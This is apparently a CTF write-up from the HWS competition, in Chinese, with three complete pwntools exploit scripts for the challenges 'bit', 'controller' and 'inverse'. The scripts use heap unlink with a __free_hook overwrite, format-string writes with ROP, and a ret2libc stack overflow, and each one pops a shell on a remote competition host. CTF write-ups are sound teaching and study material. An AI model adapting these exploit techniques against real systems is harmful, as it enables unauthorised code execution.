

# HWS-WP

## PWN

### bit

单bit溢出，show可以负数泄漏程序段地址，然后构造unlink打即可

```
1  from pwn import *
2  context(log_level = 'debug', arch = 'amd64')
3  #p = process("./channel")
4  p = remote("124.71.135.126", 30049)
5  libc = ELF("/home/charon/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64")
6  def add(size, content):
7      p.sendlineafter("# ", b'1')
8      size = size*8
9      p.sendlineafter("channel size: ", str(size))
10     p.sendafter("channel data: ", content)
11
12 def show(index):
13     p.sendlineafter("# ", b'2')
14     p.sendlineafter("index: ", str(index))
15
16 def free(index):
17     p.sendlineafter("# ", b'3')
18     p.sendlineafter("index: ", str(index))
19 def tobit(content):
20     content = content.decode('utf8')
21     str = ''
22     for i in range(len(content)):
23         num = int(content[i], 16)
24         num = bin(num)[2:].zfill(4)[::-1]
25         str += num
26     return str
27
28 cmd = '''
29     b *$rebase(0x1684)\n      # malloc
30     b *$rebase(0x16F2)\n      # my_read
31     b *$rebase(0x17B9)\n      # my_show
32     b free
33     b unlink_chunk
34     b malloc_consolidate
35 '''
36 for i in range(30):
37     add(0x50, b'\n')
38 show(-11)
```

```

39 p.recvuntil(b"channel[-11]: ")
40 pgm_base = 0
41 for i in range(12):
42     a = p.recv(4)[::-1]
43     a = int(a, 2)
44     print(a)
45     pgm_base += a << (i*4)
46 pgm_base = pgm_base - (0x5589a8479008 - 0x5589a8475000)
47 chunk_ptr = pgm_base + 0x4060
48 print(hex(pgm_base))
49
50 for i in range(30):
51     free(i)
52 add(0x890, b'\n')
53 free(0)
54 add(0x68, b'\n')    # fake in here
55 add(0x68, b'0'*0x50*2 + b'\n')    # 1
56 add(0x68, b'\n')    # 2
57 add(0x508, b'\n')
58 for i in range(8):
59     add(0x68, b'\n')
60
61 free(2)
62 add(0x68, tobit(b'1'*0x60*2 + b'041'.ljust(16, b'0')))
63 free(0)
64 fake = str(hex(chunk_ptr - 0x18))[2:][::-1].encode('utf8').ljust(16, b'0')
65 fake += str(hex(chunk_ptr - 0x10))[2:][::-1].encode('utf8').ljust(16, b'0')
66 print(fake)
67 add(0x68, tobit(b'0'*16 + b'041'.ljust(16, b'0') + fake + b'1'*0x40*2 + b'06
68 free(3)    # unlink
69 add(0x10, b'\n')
70 add(0x38, b'\n')
71 show(1)
72 p.recvuntil(b"channel[1]: ")
73 libc_base = 0
74 for i in range(12):
75     a = p.recv(4)[::-1]
76     a = int(a, 2)
77     print(a)
78     libc_base += a << (i * 4)
79 libc_base = libc_base - (0x7f8601397be0 - 0x7f86011ac000)
80 print(hex(libc_base))
81 system = libc_base + libc.symbols['system']
82 free_hook = libc_base + libc.symbols['__free_hook']
83 free(5)
84 free(2)
85 target = str(hex(free_hook))[2:][::-1].encode('utf8').ljust(16, b'0')
86 add(0x100, tobit(b'1'*0x70*2 + target) + b'\n'.decode('utf8'))
87 binsh = 0x68732f6e69622f

```

```

88 binsh = str(hex(binsh))[2:][::-1].encode('utf8').ljust(16, b'0')
89 add(0x68, tobit(binsh) + b'\n'.decode('utf8'))
90 system = str(hex(system))[2:][::-1].encode('utf8').ljust(16, b'0')
91 add(0x68, tobit(system) + b'\n'.decode('utf8'))
92 free(5)
93 p.interactive()

```

## controller

有个格式化字符串有个栈溢出，因为栈上找不到canary所以麻烦一点打了got表来绕canary

```

1  from pwn import *
2  context(log_level = 'debug', arch = 'amd64')
3  #p = process("./pwn")
4  libc = ELF("/home/charon/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64")
5  p = remote("124.71.135.126", 30067)
6  ret = 0x4017CD
7  check = 0x604040
8  def read_content(content):
9      #p.sendlineafter("> ", b'2')
10     p.sendline(b'2')
11     p.sendlineafter("name? ", b'32')
12     p.sendlineafter("pipe? ", b'2')
13     p.sendlineafter("description: ", content)
14     p.sendlineafter(",length): ", b'1')
15
16  def fs():
17     p.sendline(b'1')
18     #p.sendlineafter("> ", b'1')
19
20
21  def overflow(content):
22     p.sendline(b'9')
23     #p.sendlineafter("> ", b'9')
24     p.sendlineafter("Name: ", b'2')
25     p.sendlineafter("password: ", content)
26  def some():
27     p.sendline(b'12242176')
28     #p.sendlineafter("> ", b'12242176')
29     p.send(b'\n\n')
30     #
31     cmd = '''
32     set follow-fork-mode parent\n
33     b *0x4017B8\n    # overflow
34     b *0x402393\n
35     '''
36     #     b *0x401B67\n    # format_string
37
38     #

```

```

39 overflow(b'2')
40 p.send(b'2')
41 read_content(b'%10$p, %13$p')
42 fs()
43 p.recvuntil(b'0x')
44 stack = int(p.recv(12), 16)
45 print(hex(stack))
46 p.recvuntil(b'0x')
47 libc_base = int(p.recv(12), 16) - (0x7efeb621c87 - 0x7efeb600000)
48 system = libc_base + libc.symbols['system']
49 binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
50 print(hex(libc_base))
51 p.send(b'2')
52 offset = (stack & 0xffff) + 0xc8
53 print(hex(offset))
54 payload = b'%' + str(offset).encode('utf8') + b'c%15$hn'
55 read_content(payload)
56 payload = b'%' + str(0x4040).encode('utf8') + b'c%41$hn'
57 read_content(payload)
58 offset = (stack & 0xffff) + 0xca
59 payload = b'%' + str(offset).encode('utf8') + b'c%15$hhn'
60 read_content(payload)
61 payload = b'%' + str(0x60).encode('utf8') + b'c%41$hhn'
62 read_content(payload)
63 payload = b'%' + str(0x17CD).encode('utf8') + b'c%37$hn'
64 read_content(payload)
65
66 fs()
67 #gdb.attach(p, cmd)
68 payload = b'\x00'*24 + flat(ret, 0x402533, binsh, system)
69 p.send(b'9')
70 overflow(payload)
71 #fs()
72 p.interactive()

```

## inverse

栈溢出签到，给的libc有点问题所以用LibcSearcher打的远程

```

1 from pwn import *
2 from LibcSearcher import *
3 context.log_level = 'debug'
4 context.arch = 'i386'
5 libc = ELF("./libc-2.27.so")
6 #p = process("./pwn")
7 p = remote("124.71.135.126", 30008)
8 #gdb.attach(p, 'b *0x8049438')
9 work = 0x80493D5
10 printf = 0x80490F0

```

```
11 puts = 0x8049110
12 p.sendlineafter("input world tag: ", b'sh')
13 p.sendline(b'-1')
14 payload = b'a'*(48+4+4+8) + flat(printf, work, 0x804C000)
15 p.sendafter("leave me a msg:", payload)
16 setbuf = u32(p.recv(4))# - (0xf7d629f0 - 0xf7cf4000)
17 print(hex(setbuf))
18 obj = LibcSearcher("setbuf", setbuf)
19 libc_base = setbuf - obj.dump("setbuf")
20 system = obj.dump("system") + libc_base
21 binsh = obj.dump("str_bin_sh") + libc_base
22
23 #printf1 = obj.dump("printf")
24 print(hex(system))
25 print(hex(binsh))
26
27 p.sendline(b'-1')
28 payload = b'a'*(48+4+4+8) + flat(system, 0, binsh, 0)
29 p.sendafter("leave me a msg:", payload)
30
31 p.interactive()
```